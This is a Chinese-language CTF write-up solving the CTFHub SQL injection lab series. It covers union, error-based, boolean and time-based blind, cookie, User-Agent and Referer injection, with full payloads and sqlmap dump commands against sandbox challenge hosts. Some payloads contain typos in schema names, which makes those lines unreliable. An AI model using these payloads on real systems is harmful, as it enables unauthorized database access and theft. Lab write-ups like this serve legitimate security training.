CTFHub—sql注入
整数型注入
既然是整型注入,不需要闭合符号,经过多次测试注释符是-- 空
order by 3 的时候无回显,所以列数为2
爆数据库
-1 union select 1,database() --
注意- - 后面要加上空格,
爆表名
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli' --
爆列名:
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag' --
爆值:
-1 union select 1,(flag) from flag--
字符型注入
经过测试,闭合符号为'
,且注释符为--空
线面就是联合注入查询,就不再细说
报错注入
输入1时,显示正常
当输入1'
时报错
经过测试无闭合符号
爆数据库
-1 and extractvalue(1,concat(0x7e,(database()),0x7e))--
爆表名
-1 and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='sqli' limit 0,1),0x7e))--
修改limit值,爆出另一张表名flag
爆列名
-1 and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='flag' limit 0,1),0x7e))--
爆值
-1 and extractvalue(1,concat(0x7e,(select flag from flag),0x7e))--
显示了一半flag
我们继续使用right()函数将右半部分也给显示出来:
-1 and extractvalue(1,concat(0x7e,(select group_concat(right(flag,20))from flag),0x7e))--
将得到的字符串拼接,去掉重复的部分就得到flag了
布尔盲注
输入1
输入1'
,报错了
一个个猜数据库的信息吧:
1、爆数据库长度
1 and length(database())>3 --
显示正确,
但当我们设置长度为4时就报错了,证明数据库长度为4
2、爆数据库名
1 and ascii(substr(database(),1,1))>0 --
burpsuite爆破
ascii码转换之后得到数据库名
测试出sqli中有几张表:
1 and (select count(table_name) from information_schema.tables where table_schema=database())=2
3、爆表名
1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=110
得出第一张表名为news,
下面爆破第二张表名:
1 and ascii(substr((select table_name from information_information.tables where table_schmea='sqli' limit 1,1),1,1))=115
第二张表名为flag,
4、爆列名
1 and ascii(substr((select column_name from information_schema.columns where table_name='flag'),1,1))=102
列名也为flag
5、爆值
1 and (ascii(substr(( select flag from flag limit 0,1),1,1)))=100
这种方式在这里并不合适,还是用sqlmap香,
sqlmap -u http://challenge-5c39c1678ad6eb08.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C flag --dump --batch
时间盲注
测数据库名长度
1 and if(length(database())=4,sleep(10),1)
页面延时了10秒左右,所以证明数据库长度为4
1、爆数据库名
?id=1 and if(ascii(substr(database(),1,1))=115,sleep(5),1)
?id=1 and if(ascii(substr(database(),2,1))=113,sleep(5),1)
?id=1 and if(ascii(substr(database(),3,1))=108,sleep(5),1)
?id=1 and if(ascii(substr(database(),4,1))=105,sleep(5),1)
ascii码转换一下得出数据库名为sqli
测出表的个数
?id=1 and if((select count(table_name) from informatino_schema.tables where table_schema='sqli')=2,sleep(5),1)
页面延迟了5秒左右,故共有两张表
2、爆表名
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=110,sleep(5),1)
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=101,sleep(5),1)
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))=119,sleep(5),1)
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),4,1))=115,sleep(5),1)
ascii码转换,第一张表名为news
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=102,sleep(5),1)
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=108,sleep(5),1)
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),3,1))=97,sleep(5),1)
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),4,1))=103,sleep(5),1)
同理得出第二张表名为flag
3、测字段数
?id=1 and if((select count(column_name) from information_schema.columns where table_name='flag')=1,sleep(5),1)
就一个字段,
4、爆字段
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name='flag'),1,1))=102,sleep(5),1)
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name='flag'),1,1))=108,sleep(5),1)
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name='flag'),1,1))=97,sleep(5),1)
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name='flag'),1,1))=103,sleep(5),1)
字段名为flag
5、爆值
sqlmap -u http://challenge-b99c9a0d91350691.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C flag --dump --batch
sqlmap
mysql结构
输入1,有回显;输入1 and 1=1,正常回显;输入1 and 1=2, 返回错误。
所以是数字型注入!
1、判断列数
列数为2
2、爆数据库名
3、爆表名
3、爆列名
4、爆值
Cookie注入
抓包
在cookie处进行注入即可
数据库名为sqli
得出表名ihjbuqnzla
得出列名eibhrgfzno
过滤空格
用/**/
代替空格即可
下面就是常规数字型联合查询注入,没啥难度
UA注入
burpsuite抓包:
在UA处:查询字段数
当语句为 1 order by 3-- 时,没有回显,所以字段数为2
下面就是联合查询的步骤,就不再叙述
Refer注入
依旧抓包:
并没有看到referer,补充Referer头
测出为数字型注入,且列数为2,省略联合查询注入的步骤,得到flag